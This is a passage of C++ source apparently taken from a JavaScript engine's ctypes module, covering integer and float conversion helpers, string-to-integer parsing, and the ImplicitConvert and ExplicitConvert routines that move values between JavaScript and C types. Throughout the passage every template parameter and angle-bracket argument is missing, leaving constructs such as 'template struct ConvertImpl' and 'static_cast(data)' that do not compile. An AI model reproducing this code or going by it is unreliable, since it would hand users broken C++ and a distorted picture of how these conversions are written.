sizeof(long) == 8); JS_STATIC_ASSERT(sizeof(long long) == 8); JS_STATIC_ASSERT(sizeof(size_t) == sizeof(uintptr_t)); JS_STATIC_ASSERT(sizeof(float) == 4); JS_STATIC_ASSERT(sizeof(PRFuncPtr) == sizeof(void*)); JS_STATIC_ASSERT(numeric_limits::is_signed); // Templated helper to convert FromType to TargetType, for the default case // where the trivial POD constructor will do. template struct ConvertImpl { static JS_ALWAYS_INLINE TargetType Convert(FromType d) { return TargetType(d); } }; #ifdef _MSC_VER // MSVC can't perform double to unsigned __int64 conversion when the // double is greater than 2^63 - 1. Help it along a little. template<> struct ConvertImpl { static JS_ALWAYS_INLINE uint64_t Convert(double d) { return d > 0x7fffffffffffffffui64 ? uint64_t(d - 0x8000000000000000ui64) + 0x8000000000000000ui64 : uint64_t(d); } }; #endif // C++ doesn't guarantee that exact values are the only ones that will // round-trip. In fact, on some platforms, including SPARC, there are pairs of // values, a uint64_t and a double, such that neither value is exactly // representable in the other type, but they cast to each other. #ifdef SPARC // Simulate x86 overflow behavior template<> struct ConvertImpl { static JS_ALWAYS_INLINE uint64_t Convert(double d) { return d >= 0xffffffffffffffff ? 0x8000000000000000 : uint64_t(d); } }; template<> struct ConvertImpl { static JS_ALWAYS_INLINE int64_t Convert(double d) { return d >= 0x7fffffffffffffff ? 0x8000000000000000 : int64_t(d); } }; #endif template static JS_ALWAYS_INLINE TargetType Convert(FromType d) { return ConvertImpl::Convert(d); } template static JS_ALWAYS_INLINE bool IsAlwaysExact() { // Return 'true' if TargetType can always exactly represent FromType. // This means that: // 1) TargetType must be the same or more bits wide as FromType. For integers // represented in 'n' bits, unsigned variants will have 'n' digits while // signed will have 'n - 1'. For floating point types, 'digits' is the // mantissa width. // 2) If FromType is signed, TargetType must also be signed. (Floating point // types are always signed.) // 3) If TargetType is an exact integral type, FromType must be also. if (numeric_limits::digits < numeric_limits::digits) return false; if (numeric_limits::is_signed && !numeric_limits::is_signed) return false; if (!numeric_limits::is_exact && numeric_limits::is_exact) return false; return true; } // Templated helper to determine if FromType 'i' converts losslessly to // TargetType 'j'. Default case where both types are the same signedness. template struct IsExactImpl { static JS_ALWAYS_INLINE bool Test(FromType i, TargetType j) { JS_STATIC_ASSERT(numeric_limits::is_exact); return FromType(j) == i; } }; // Specialization where TargetType is unsigned, FromType is signed. template struct IsExactImpl { static JS_ALWAYS_INLINE bool Test(FromType i, TargetType j) { JS_STATIC_ASSERT(numeric_limits::is_exact); return i >= 0 && FromType(j) == i; } }; // Specialization where TargetType is signed, FromType is unsigned. template struct IsExactImpl { static JS_ALWAYS_INLINE bool Test(FromType i, TargetType j) { JS_STATIC_ASSERT(numeric_limits::is_exact); return TargetType(i) >= 0 && FromType(j) == i; } }; // Convert FromType 'i' to TargetType 'result', returning true iff 'result' // is an exact representation of 'i'. template static JS_ALWAYS_INLINE bool ConvertExact(FromType i, TargetType* result) { // Require that TargetType is integral, to simplify conversion. JS_STATIC_ASSERT(numeric_limits::is_exact); *result = Convert(i); // See if we can avoid a dynamic check. if (IsAlwaysExact()) return true; // Return 'true' if 'i' is exactly representable in 'TargetType'. return IsExactImpl::is_signed, numeric_limits::is_signed>::Test(i, *result); } // Templated helper to determine if Type 'i' is negative. Default case // where IntegerType is unsigned. template struct IsNegativeImpl { static JS_ALWAYS_INLINE bool Test(Type i) { return false; } }; // Specialization where Type is signed. template struct IsNegativeImpl { static JS_ALWAYS_INLINE bool Test(Type i) { return i < 0; } }; // Determine whether Type 'i' is negative. template static JS_ALWAYS_INLINE bool IsNegative(Type i) { return IsNegativeImpl::is_signed>::Test(i); } // Implicitly convert val to bool, allowing JSBool, int, and double // arguments numerically equal to 0 or 1. static bool jsvalToBool(JSContext* cx, jsval val, bool* result) { if (JSVAL_IS_BOOLEAN(val)) { *result = JSVAL_TO_BOOLEAN(val) != JS_FALSE; return true; } if (JSVAL_IS_INT(val)) { int32_t i = JSVAL_TO_INT(val); *result = i != 0; return i == 0 || i == 1; } if (JSVAL_IS_DOUBLE(val)) { double d = JSVAL_TO_DOUBLE(val); *result = d != 0; // Allow -0. return d == 1 || d == 0; } // Don't silently convert null to bool. It's probably a mistake. return false; } // Implicitly convert val to IntegerType, allowing JSBool, int, double, // Int64, UInt64, and CData integer types 't' where all values of 't' are // representable by IntegerType. template static bool jsvalToInteger(JSContext* cx, jsval val, IntegerType* result) { JS_STATIC_ASSERT(numeric_limits::is_exact); if (JSVAL_IS_INT(val)) { // Make sure the integer fits in the alotted precision, and has the right // sign. int32_t i = JSVAL_TO_INT(val); return ConvertExact(i, result); } if (JSVAL_IS_DOUBLE(val)) { // Don't silently lose bits here -- check that val really is an // integer value, and has the right sign. double d = JSVAL_TO_DOUBLE(val); return ConvertExact(d, result); } if (!JSVAL_IS_PRIMITIVE(val)) { JSObject* obj = JSVAL_TO_OBJECT(val); if (CData::IsCData(obj)) { JSObject* typeObj = CData::GetCType(obj); void* data = CData::GetData(obj); // Check whether the source type is always representable, with exact // precision, by the target type. If it is, convert the value. switch (CType::GetTypeCode(typeObj)) { #define DEFINE_INT_TYPE(name, fromType, ffiType) \ case TYPE_##name: \ if (!IsAlwaysExact()) \ return false; \ *result = IntegerType(*static_cast(data)); \ return true; #define DEFINE_WRAPPED_INT_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #include "typedefs.h" case TYPE_void_t: case TYPE_bool: case TYPE_float: case TYPE_double: case TYPE_float32_t: case TYPE_float64_t: case TYPE_char: case TYPE_signed_char: case TYPE_unsigned_char: case TYPE_jschar: case TYPE_pointer: case TYPE_function: case TYPE_array: case TYPE_struct: // Not a compatible number type. return false; } } if (Int64::IsInt64(obj)) { // Make sure the integer fits in IntegerType. int64_t i = Int64Base::GetInt(obj); return ConvertExact(i, result); } if (UInt64::IsUInt64(obj)) { // Make sure the integer fits in IntegerType. uint64_t i = Int64Base::GetInt(obj); return ConvertExact(i, result); } if (CDataFinalizer::IsCDataFinalizer(obj)) { jsval innerData; if (!CDataFinalizer::GetValue(cx, obj, &innerData)) { return false; // Nothing to convert } return jsvalToInteger(cx, innerData, result); } return false; } if (JSVAL_IS_BOOLEAN(val)) { // Implicitly promote boolean values to 0 or 1, like C. *result = JSVAL_TO_BOOLEAN(val); JS_ASSERT(*result == 0 || *result == 1); return true; } // Don't silently convert null to an integer. It's probably a mistake. return false; } // Implicitly convert val to FloatType, allowing int, double, // Int64, UInt64, and CData numeric types 't' where all values of 't' are // representable by FloatType. template static bool jsvalToFloat(JSContext *cx, jsval val, FloatType* result) { JS_STATIC_ASSERT(!numeric_limits::is_exact); // The following casts may silently throw away some bits, but there's // no good way around it. Sternly requiring that the 64-bit double // argument be exactly representable as a 32-bit float is // unrealistic: it would allow 1/2 to pass but not 1/3. if (JSVAL_IS_INT(val)) { *result = FloatType(JSVAL_TO_INT(val)); return true; } if (JSVAL_IS_DOUBLE(val)) { *result = FloatType(JSVAL_TO_DOUBLE(val)); return true; } if (!JSVAL_IS_PRIMITIVE(val)) { JSObject* obj = JSVAL_TO_OBJECT(val); if (CData::IsCData(obj)) { JSObject* typeObj = CData::GetCType(obj); void* data = CData::GetData(obj); // Check whether the source type is always representable, with exact // precision, by the target type. If it is, convert the value. switch (CType::GetTypeCode(typeObj)) { #define DEFINE_FLOAT_TYPE(name, fromType, ffiType) \ case TYPE_##name: \ if (!IsAlwaysExact()) \ return false; \ *result = FloatType(*static_cast(data)); \ return true; #define DEFINE_INT_TYPE(x, y, z) DEFINE_FLOAT_TYPE(x, y, z) #define DEFINE_WRAPPED_INT_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #include "typedefs.h" case TYPE_void_t: case TYPE_bool: case TYPE_char: case TYPE_signed_char: case TYPE_unsigned_char: case TYPE_jschar: case TYPE_pointer: case TYPE_function: case TYPE_array: case TYPE_struct: // Not a compatible number type. return false; } } } // Don't silently convert true to 1.0 or false to 0.0, even though C/C++ // does it. It's likely to be a mistake. return false; } template static bool StringToInteger(JSContext* cx, JSString* string, IntegerType* result) { JS_STATIC_ASSERT(numeric_limits::is_exact); const jschar* cp = string->getChars(NULL); if (!cp) return false; const jschar* end = cp + string->length(); if (cp == end) return false; IntegerType sign = 1; if (cp[0] == '-') { if (!numeric_limits::is_signed) return false; sign = -1; ++cp; } // Assume base-10, unless the string begins with '0x' or '0X'. IntegerType base = 10; if (end - cp > 2 && cp[0] == '0' && (cp[1] == 'x' || cp[1] == 'X')) { cp += 2; base = 16; } // Scan the string left to right and build the number, // checking for valid characters 0 - 9, a - f, A - F and overflow. IntegerType i = 0; while (cp != end) { jschar c = *cp++; if (c >= '0' && c <= '9') c -= '0'; else if (base == 16 && c >= 'a' && c <= 'f') c = c - 'a' + 10; else if (base == 16 && c >= 'A' && c <= 'F') c = c - 'A' + 10; else return false; IntegerType ii = i; i = ii * base + sign * c; if (i / base != ii) // overflow return false; } *result = i; return true; } // Implicitly convert val to IntegerType, allowing int, double, // Int64, UInt64, and optionally a decimal or hexadecimal string argument. // (This is common code shared by jsvalToSize and the Int64/UInt64 constructors.) template static bool jsvalToBigInteger(JSContext* cx, jsval val, bool allowString, IntegerType* result) { JS_STATIC_ASSERT(numeric_limits::is_exact); if (JSVAL_IS_INT(val)) { // Make sure the integer fits in the alotted precision, and has the right // sign. int32_t i = JSVAL_TO_INT(val); return ConvertExact(i, result); } if (JSVAL_IS_DOUBLE(val)) { // Don't silently lose bits here -- check that val really is an // integer value, and has the right sign. double d = JSVAL_TO_DOUBLE(val); return ConvertExact(d, result); } if (allowString && JSVAL_IS_STRING(val)) { // Allow conversion from base-10 or base-16 strings, provided the result // fits in IntegerType. (This allows an Int64 or UInt64 object to be passed // to the JS array element operator, which will automatically call // toString() on the object for us.) return StringToInteger(cx, JSVAL_TO_STRING(val), result); } if (!JSVAL_IS_PRIMITIVE(val)) { // Allow conversion from an Int64 or UInt64 object directly. JSObject* obj = JSVAL_TO_OBJECT(val); if (UInt64::IsUInt64(obj)) { // Make sure the integer fits in IntegerType. uint64_t i = Int64Base::GetInt(obj); return ConvertExact(i, result); } if (Int64::IsInt64(obj)) { // Make sure the integer fits in IntegerType. int64_t i = Int64Base::GetInt(obj); return ConvertExact(i, result); } if (CDataFinalizer::IsCDataFinalizer(obj)) { jsval innerData; if (!CDataFinalizer::GetValue(cx, obj, &innerData)) { return false; // Nothing to convert } return jsvalToBigInteger(cx, innerData, allowString, result); } } return false; } // Implicitly convert val to a size value, where the size value is represented // by size_t but must also fit in a double. static bool jsvalToSize(JSContext* cx, jsval val, bool allowString, size_t* result) { if (!jsvalToBigInteger(cx, val, allowString, result)) return false; // Also check that the result fits in a double. return Convert(double(*result)) == *result; } // Implicitly convert val to IntegerType, allowing int, double, // Int64, UInt64, and optionally a decimal or hexadecimal string argument. // (This is common code shared by jsvalToSize and the Int64/UInt64 constructors.) template static bool jsidToBigInteger(JSContext* cx, jsid val, bool allowString, IntegerType* result) { JS_STATIC_ASSERT(numeric_limits::is_exact); if (JSID_IS_INT(val)) { // Make sure the integer fits in the alotted precision, and has the right // sign. int32_t i = JSID_TO_INT(val); return ConvertExact(i, result); } if (allowString && JSID_IS_STRING(val)) { // Allow conversion from base-10 or base-16 strings, provided the result // fits in IntegerType. (This allows an Int64 or UInt64 object to be passed // to the JS array element operator, which will automatically call // toString() on the object for us.) return StringToInteger(cx, JSID_TO_STRING(val), result); } if (JSID_IS_OBJECT(val)) { // Allow conversion from an Int64 or UInt64 object directly. JSObject* obj = JSID_TO_OBJECT(val); if (UInt64::IsUInt64(obj)) { // Make sure the integer fits in IntegerType. uint64_t i = Int64Base::GetInt(obj); return ConvertExact(i, result); } if (Int64::IsInt64(obj)) { // Make sure the integer fits in IntegerType. int64_t i = Int64Base::GetInt(obj); return ConvertExact(i, result); } } return false; } // Implicitly convert val to a size value, where the size value is represented // by size_t but must also fit in a double. static bool jsidToSize(JSContext* cx, jsid val, bool allowString, size_t* result) { if (!jsidToBigInteger(cx, val, allowString, result)) return false; // Also check that the result fits in a double. return Convert(double(*result)) == *result; } // Implicitly convert a size value to a jsval, ensuring that the size_t value // fits in a double. static JSBool SizeTojsval(JSContext* cx, size_t size, jsval* result) { if (Convert(double(size)) != size) { JS_ReportError(cx, "size overflow"); return false; } *result = JS_NumberValue(double(size)); return true; } // Forcefully convert val to IntegerType when explicitly requested. template static bool jsvalToIntegerExplicit(jsval val, IntegerType* result) { JS_STATIC_ASSERT(numeric_limits::is_exact); if (JSVAL_IS_DOUBLE(val)) { // Convert -Inf, Inf, and NaN to 0; otherwise, convert by C-style cast. double d = JSVAL_TO_DOUBLE(val); *result = MOZ_DOUBLE_IS_FINITE(d) ? IntegerType(d) : 0; return true; } if (!JSVAL_IS_PRIMITIVE(val)) { // Convert Int64 and UInt64 values by C-style cast. JSObject* obj = JSVAL_TO_OBJECT(val); if (Int64::IsInt64(obj)) { int64_t i = Int64Base::GetInt(obj); *result = IntegerType(i); return true; } if (UInt64::IsUInt64(obj)) { uint64_t i = Int64Base::GetInt(obj); *result = IntegerType(i); return true; } } return false; } // Forcefully convert val to a pointer value when explicitly requested. static bool jsvalToPtrExplicit(JSContext* cx, jsval val, uintptr_t* result) { if (JSVAL_IS_INT(val)) { // int32_t always fits in intptr_t. If the integer is negative, cast through // an intptr_t intermediate to sign-extend. int32_t i = JSVAL_TO_INT(val); *result = i < 0 ? uintptr_t(intptr_t(i)) : uintptr_t(i); return true; } if (JSVAL_IS_DOUBLE(val)) { double d = JSVAL_TO_DOUBLE(val); if (d < 0) { // Cast through an intptr_t intermediate to sign-extend. intptr_t i = Convert(d); if (double(i) != d) return false; *result = uintptr_t(i); return true; } // Don't silently lose bits here -- check that val really is an // integer value, and has the right sign. *result = Convert(d); return double(*result) == d; } if (!JSVAL_IS_PRIMITIVE(val)) { JSObject* obj = JSVAL_TO_OBJECT(val); if (Int64::IsInt64(obj)) { int64_t i = Int64Base::GetInt(obj); intptr_t p = intptr_t(i); // Make sure the integer fits in the alotted precision. if (int64_t(p) != i) return false; *result = uintptr_t(p); return true; } if (UInt64::IsUInt64(obj)) { uint64_t i = Int64Base::GetInt(obj); // Make sure the integer fits in the alotted precision. *result = uintptr_t(i); return uint64_t(*result) == i; } } return false; } template void IntegerToString(IntegerType i, int radix, Vector& result) { JS_STATIC_ASSERT(numeric_limits::is_exact); // The buffer must be big enough for all the bits of IntegerType to fit, // in base-2, including '-'. CharType buffer[sizeof(IntegerType) * 8 + 1]; CharType* end = buffer + sizeof(buffer) / sizeof(CharType); CharType* cp = end; // Build the string in reverse. We use multiplication and subtraction // instead of modulus because that's much faster. const bool isNegative = IsNegative(i); size_t sign = isNegative ? -1 : 1; do { IntegerType ii = i / IntegerType(radix); size_t index = sign * size_t(i - ii * IntegerType(radix)); *--cp = "0123456789abcdefghijklmnopqrstuvwxyz"[index]; i = ii; } while (i != 0); if (isNegative) *--cp = '-'; JS_ASSERT(cp >= buffer); result.append(cp, end); } template static size_t strnlen(const CharType* begin, size_t max) { for (const CharType* s = begin; s != begin + max; ++s) if (*s == 0) return s - begin; return max; } // Convert C binary value 'data' of CType 'typeObj' to a JS primitive, where // possible; otherwise, construct and return a CData object. The following // semantics apply when constructing a CData object for return: // * If 'wantPrimitive' is true, the caller indicates that 'result' must be // a JS primitive, and ConvertToJS will fail if 'result' would be a CData // object. Otherwise: // * If a CData object 'parentObj' is supplied, the new CData object is // dependent on the given parent and its buffer refers to a slice of the // parent's buffer. // * If 'parentObj' is null, the new CData object may or may not own its // resulting buffer depending on the 'ownResult' argument. JSBool ConvertToJS(JSContext* cx, HandleObject typeObj, HandleObject parentObj, void* data, bool wantPrimitive, bool ownResult, jsval* result) { JS_ASSERT(!parentObj || CData::IsCData(parentObj)); JS_ASSERT(!parentObj || !ownResult); JS_ASSERT(!wantPrimitive || !ownResult); TypeCode typeCode = CType::GetTypeCode(typeObj); switch (typeCode) { case TYPE_void_t: *result = JSVAL_VOID; break; case TYPE_bool: *result = *static_cast(data) ? JSVAL_TRUE : JSVAL_FALSE; break; #define DEFINE_INT_TYPE(name, type, ffiType) \ case TYPE_##name: { \ type value = *static_cast(data); \ if (sizeof(type) < 4) \ *result = INT_TO_JSVAL(int32_t(value)); \ else \ *result = JS_NumberValue(double(value)); \ break; \ } #define DEFINE_WRAPPED_INT_TYPE(name, type, ffiType) \ case TYPE_##name: { \ /* Return an Int64 or UInt64 object - do not convert to a JS number. */ \ uint64_t value; \ RootedObject proto(cx); \ if (!numeric_limits::is_signed) { \ value = *static_cast(data); \ /* Get ctypes.UInt64.prototype from ctypes.CType.prototype. */ \ proto = CType::GetProtoFromType(typeObj, SLOT_UINT64PROTO); \ } else { \ value = int64_t(*static_cast(data)); \ /* Get ctypes.Int64.prototype from ctypes.CType.prototype. */ \ proto = CType::GetProtoFromType(typeObj, SLOT_INT64PROTO); \ } \ \ JSObject* obj = Int64Base::Construct(cx, proto, value, \ !numeric_limits::is_signed); \ if (!obj) \ return false; \ *result = OBJECT_TO_JSVAL(obj); \ break; \ } #define DEFINE_FLOAT_TYPE(name, type, ffiType) \ case TYPE_##name: { \ type value = *static_cast(data); \ *result = JS_NumberValue(double(value)); \ break; \ } #define DEFINE_CHAR_TYPE(name, type, ffiType) \ case TYPE_##name: \ /* Convert to an integer. We have no idea what character encoding to */ \ /* use, if any. */ \ *result = INT_TO_JSVAL(*static_cast(data)); \ break; #include "typedefs.h" case TYPE_jschar: { // Convert the jschar to a 1-character string. JSString* str = JS_NewUCStringCopyN(cx, static_cast(data), 1); if (!str) return false; *result = STRING_TO_JSVAL(str); break; } case TYPE_pointer: case TYPE_array: case TYPE_struct: { // We're about to create a new CData object to return. If the caller doesn't // want this, return early. if (wantPrimitive) { JS_ReportError(cx, "cannot convert to primitive value"); return false; } JSObject* obj = CData::Create(cx, typeObj, parentObj, data, ownResult); if (!obj) return false; *result = OBJECT_TO_JSVAL(obj); break; } case TYPE_function: JS_NOT_REACHED("cannot return a FunctionType"); } return true; } // Implicitly convert jsval 'val' to a C binary representation of CType // 'targetType', storing the result in 'buffer'. Adequate space must be // provided in 'buffer' by the caller. This function generally does minimal // coercion between types. There are two cases in which this function is used: // 1) The target buffer is internal to a CData object; we simply write data // into it. // 2) We are converting an argument for an ffi call, in which case 'isArgument' // will be true. This allows us to handle a special case: if necessary, // we can autoconvert a JS string primitive to a pointer-to-character type. // In this case, ownership of the allocated string is handed off to the // caller; 'freePointer' will be set to indicate this. JSBool ImplicitConvert(JSContext* cx, jsval val, JSObject* targetType, void* buffer, bool isArgument, bool* freePointer) { JS_ASSERT(CType::IsSizeDefined(targetType)); // First, check if val is either a CData object or a CDataFinalizer // of type targetType. JSObject* sourceData = NULL; JSObject* sourceType = NULL; RootedObject valObj(cx, NULL); if (!JSVAL_IS_PRIMITIVE(val)) { valObj = JSVAL_TO_OBJECT(val); if (CData::IsCData(valObj)) { sourceData = valObj; sourceType = CData::GetCType(sourceData); // If the types are equal, copy the buffer contained within the CData. // (Note that the buffers may overlap partially or completely.) if (CType::TypesEqual(sourceType, targetType)) { size_t size = CType::GetSize(sourceType); memmove(buffer, CData::GetData(sourceData), size); return true; } } else if (CDataFinalizer::IsCDataFinalizer(valObj)) { sourceData = valObj; sourceType = CDataFinalizer::GetCType(cx, sourceData); CDataFinalizer::Private *p = (CDataFinalizer::Private *) JS_GetPrivate(sourceData); if (!p) { // We have called |dispose| or |forget| already. JS_ReportError(cx, "Attempting to convert an empty CDataFinalizer"); return JS_FALSE; } // If the types are equal, copy the buffer contained within the CData. if (CType::TypesEqual(sourceType, targetType)) { memmove(buffer, p->cargs, p->cargs_size); return true; } } } TypeCode targetCode = CType::GetTypeCode(targetType); switch (targetCode) { case TYPE_bool: { // Do not implicitly lose bits, but allow the values 0, 1, and -0. // Programs can convert explicitly, if needed, using `Boolean(v)` or `!!v`. bool result; if (!jsvalToBool(cx, val, &result)) return TypeError(cx, "boolean", val); *static_cast(buffer) = result; break; } #define DEFINE_INT_TYPE(name, type, ffiType) \ case TYPE_##name: { \ /* Do not implicitly lose bits. */ \ type result; \ if (!jsvalToInteger(cx, val, &result)) \ return TypeError(cx, #name, val); \ *static_cast(buffer) = result; \ break; \ } #define DEFINE_WRAPPED_INT_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_FLOAT_TYPE(name, type, ffiType) \ case TYPE_##name: { \ type result; \ if (!jsvalToFloat(cx, val, &result)) \ return TypeError(cx, #name, val); \ *static_cast(buffer) = result; \ break; \ } #define DEFINE_CHAR_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_JSCHAR_TYPE(name, type, ffiType) \ case TYPE_##name: { \ /* Convert from a 1-character string, regardless of encoding, */ \ /* or from an integer, provided the result fits in 'type'. */ \ type result; \ if (JSVAL_IS_STRING(val)) { \ JSString* str = JSVAL_TO_STRING(val); \ if (str->length() != 1) \ return TypeError(cx, #name, val); \ const jschar *chars = str->getChars(cx); \ if (!chars) \ return false; \ result = chars[0]; \ } else if (!jsvalToInteger(cx, val, &result)) { \ return TypeError(cx, #name, val); \ } \ *static_cast(buffer) = result; \ break; \ } #include "typedefs.h" case TYPE_pointer: { if (JSVAL_IS_NULL(val)) { // Convert to a null pointer. *static_cast(buffer) = NULL; break; } JSObject* baseType = PointerType::GetBaseType(targetType); if (sourceData) { // First, determine if the targetType is ctypes.void_t.ptr. TypeCode sourceCode = CType::GetTypeCode(sourceType); void* sourceBuffer = CData::GetData(sourceData); bool voidptrTarget = CType::GetTypeCode(baseType) == TYPE_void_t; if (sourceCode == TYPE_pointer && voidptrTarget) { // Autoconvert if targetType is ctypes.voidptr_t. *static_cast(buffer) = *static_cast(sourceBuffer); break; } if (sourceCode == TYPE_array) { // Autoconvert an array to a ctypes.void_t.ptr or to // sourceType.elementType.ptr, just like C. JSObject* elementType = ArrayType::GetBaseType(sourceType); if (voidptrTarget || CType::TypesEqual(baseType, elementType)) { *static_cast(buffer) = sourceBuffer; break; } } } else if (isArgument && JSVAL_IS_STRING(val)) { // Convert the string for the ffi call. This requires allocating space // which the caller assumes ownership of. // TODO: Extend this so we can safely convert strings at other times also. JSString* sourceString = JSVAL_TO_STRING(val); size_t sourceLength = sourceString->length(); const jschar* sourceChars = sourceString->getChars(cx); if (!sourceChars) return false; switch (CType::GetTypeCode(baseType)) { case TYPE_char: case TYPE_signed_char: case TYPE_unsigned_char: { // Convert from UTF-16 to UTF-8. size_t nbytes = GetDeflatedUTF8StringLength(cx, sourceChars, sourceLength); if (nbytes == (size_t) -1) return false; char** charBuffer = static_cast(buffer); *charBuffer = cx->array_new(nbytes + 1); if (!*charBuffer) { JS_ReportAllocationOverflow(cx); return false; } ASSERT_OK(DeflateStringToUTF8Buffer(cx, sourceChars, sourceLength, *charBuffer, &nbytes)); (*charBuffer)[nbytes] = 0; *freePointer = true; break; } case TYPE_jschar: { // Copy the jschar string data. (We could provide direct access to the // JSString's buffer, but this approach is safer if the caller happens // to modify the string.) jschar** jscharBuffer = static_cast(buffer); *jscharBuffer = cx->array_new(sourceLength + 1); if (!*jscharBuffer) { JS_ReportAllocationOverflow(cx); return false; } *freePointer = true; memcpy(*jscharBuffer, sourceChars, sourceLength * sizeof(jschar)); (*jscharBuffer)[sourceLength] = 0; break; } default: return TypeError(cx, "string pointer", val); } break; } else if (!JSVAL_IS_PRIMITIVE(val) && JS_IsArrayBufferObject(valObj, cx)) { // Convert ArrayBuffer to pointer without any copy. // Just as with C arrays, we make no effort to // keep the ArrayBuffer alive. *static_cast(buffer) = JS_GetArrayBufferData(valObj, cx); break; } return TypeError(cx, "pointer", val); } case TYPE_array: { JSObject* baseType = ArrayType::GetBaseType(targetType); size_t targetLength = ArrayType::GetLength(targetType); if (JSVAL_IS_STRING(val)) { JSString* sourceString = JSVAL_TO_STRING(val); size_t sourceLength = sourceString->length(); const jschar* sourceChars = sourceString->getChars(cx); if (!sourceChars) return false; switch (CType::GetTypeCode(baseType)) { case TYPE_char: case TYPE_signed_char: case TYPE_unsigned_char: { // Convert from UTF-16 to UTF-8. size_t nbytes = GetDeflatedUTF8StringLength(cx, sourceChars, sourceLength); if (nbytes == (size_t) -1) return false; if (targetLength < nbytes) { JS_ReportError(cx, "ArrayType has insufficient length"); return false; } char* charBuffer = static_cast(buffer); ASSERT_OK(DeflateStringToUTF8Buffer(cx, sourceChars, sourceLength, charBuffer, &nbytes)); if (targetLength > nbytes) charBuffer[nbytes] = 0; break; } case TYPE_jschar: { // Copy the string data, jschar for jschar, including the terminator // if there's space. if (targetLength < sourceLength) { JS_ReportError(cx, "ArrayType has insufficient length"); return false; } memcpy(buffer, sourceChars, sourceLength * sizeof(jschar)); if (targetLength > sourceLength) static_cast(buffer)[sourceLength] = 0; break; } default: return TypeError(cx, "array", val); } } else if (!JSVAL_IS_PRIMITIVE(val) && JS_IsArrayObject(cx, valObj)) { // Convert each element of the array by calling ImplicitConvert. uint32_t sourceLength; if (!JS_GetArrayLength(cx, valObj, &sourceLength) || targetLength != size_t(sourceLength)) { JS_ReportError(cx, "ArrayType length does not match source array length"); return false; } // Convert into an intermediate, in case of failure. size_t elementSize = CType::GetSize(baseType); size_t arraySize = elementSize * targetLength; AutoPtr::Array intermediate(cx->array_new(arraySize)); if (!intermediate) { JS_ReportAllocationOverflow(cx); return false; } for (uint32_t i = 0; i < sourceLength; ++i) { js::AutoValueRooter item(cx); if (!JS_GetElement(cx, valObj, i, item.jsval_addr())) return false; char* data = intermediate.get() + elementSize * i; if (!ImplicitConvert(cx, item.jsval_value(), baseType, data, false, NULL)) return false; } memcpy(buffer, intermediate.get(), arraySize); } else if (!JSVAL_IS_PRIMITIVE(val) && JS_IsArrayBufferObject(valObj, cx)) { // Check that array is consistent with type, then // copy the array. As with C arrays, data is *not* // copied back to the ArrayBuffer at the end of a // function call, so do not expect this to work // as an inout argument. uint32_t sourceLength = JS_GetArrayBufferByteLength(valObj, cx); size_t elementSize = CType::GetSize(baseType); size_t arraySize = elementSize * targetLength; if (arraySize != size_t(sourceLength)) { JS_ReportError(cx, "ArrayType length does not match source array length"); return false; } memcpy(buffer, JS_GetArrayBufferData(valObj, cx), sourceLength); break; } else { // Don't implicitly convert to string. Users can implicitly convert // with `String(x)` or `""+x`. return TypeError(cx, "array", val); } break; } case TYPE_struct: { if (!JSVAL_IS_PRIMITIVE(val) && !sourceData) { // Enumerate the properties of the object; if they match the struct // specification, convert the fields. RootedObject iter(cx, JS_NewPropertyIterator(cx, valObj)); if (!iter) return false; // Convert into an intermediate, in case of failure. size_t structSize = CType::GetSize(targetType); AutoPtr::Array intermediate(cx->array_new(structSize)); if (!intermediate) { JS_ReportAllocationOverflow(cx); return false; } jsid id; size_t i = 0; while (1) { if (!JS_NextProperty(cx, iter, &id)) return false; if (JSID_IS_VOID(id)) break; if (!JSID_IS_STRING(id)) { JS_ReportError(cx, "property name is not a string"); return false; } JSFlatString *name = JSID_TO_FLAT_STRING(id); const FieldInfo* field = StructType::LookupField(cx, targetType, name); if (!field) return false; js::AutoValueRooter prop(cx); if (!JS_GetPropertyById(cx, valObj, id, prop.jsval_addr())) return false; // Convert the field via ImplicitConvert(). char* fieldData = intermediate.get() + field->mOffset; if (!ImplicitConvert(cx, prop.jsval_value(), field->mType, fieldData, false, NULL)) return false; ++i; } const FieldInfoHash* fields = StructType::GetFieldInfo(targetType); if (i != fields->count()) { JS_ReportError(cx, "missing fields"); return false; } memcpy(buffer, intermediate.get(), structSize); break; } return TypeError(cx, "struct", val); } case TYPE_void_t: case TYPE_function: JS_NOT_REACHED("invalid type"); return false; } return true; } // Convert jsval 'val' to a C binary representation of CType 'targetType', // storing the result in 'buffer'. This function is more forceful than // ImplicitConvert. JSBool ExplicitConvert(JSContext* cx, jsval val, HandleObject targetType, void* buffer) { // If ImplicitConvert succeeds, use that result. if (ImplicitConvert(cx, val, targetType, buffer, false, NULL)) return true; // If ImplicitConvert failed, and there is no pending exception, then assume // hard failure (out of memory, or some other similarly serious condition). // We store any pending exception in case we need to re-throw it. js::AutoValueRooter ex(cx); if (!JS_GetPendingException(cx, ex.jsval_addr())) return false; // Otherwise, assume soft failure. Clear the pending exception so that we // can throw a different one as required. JS_ClearPendingException(cx); TypeCode type = CType::GetTypeCode(targetType); switch (type) { case TYPE_bool: { // Convert according to the ECMAScript ToBoolean() function. JSBool result; ASSERT_OK(JS_ValueToBoolean(cx, val, &result)); *static_cast(buffer) = result != JS_FALSE; break; } #define DEFINE_INT_TYPE(name, type, ffiType) \ case TYPE_##name: { \ /* Convert numeric values with a C-style cast, and */ \ /* allow conversion from a base-10 or base-16 string. */ \ type result; \ if (!jsvalToIntegerExplicit(val, &result) && \ (!JSVAL_IS_STRING(val) || \ !StringToInteger(cx, JSVAL_TO_STRING(val), &result))) \ return TypeError(cx, #name, val); \ *static_cast(buffer) = result; \ break; \ } #define DEFINE_WRAPPED_INT_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_CHAR_TYPE(x, y, z) DEFINE_INT_TYPE(x, y, z) #define DEFINE_JSCHAR_TYPE(x, y, z) DEFINE_CHAR_TYPE(x, y, z) #include "typedefs.h" case TYPE_pointer: { // Convert a number, Int64 object, or UInt64 object to a pointer. uintptr_t result; if (!jsvalToPtrExplicit(cx, val, &result)) return TypeError(cx, "pointer", val); *static_cast(buffer) = result; break; } case TYPE_float32_t: case TYPE_float64_t: case TYPE_float: case TYPE_double: case TYPE_array: case TYPE_struct: // ImplicitConvert is sufficient. Re-throw the exception it generated. JS_SetPendingException(cx, ex.jsval_value()); return false; case TYPE_void_t: case TYPE_function: JS_NOT_REACHED("invalid type"); return false; } return true; } // Given a CType 'typeObj', generate a string describing the C type declaration // corresponding to 'typeObj'. For instance, the CType constructed from 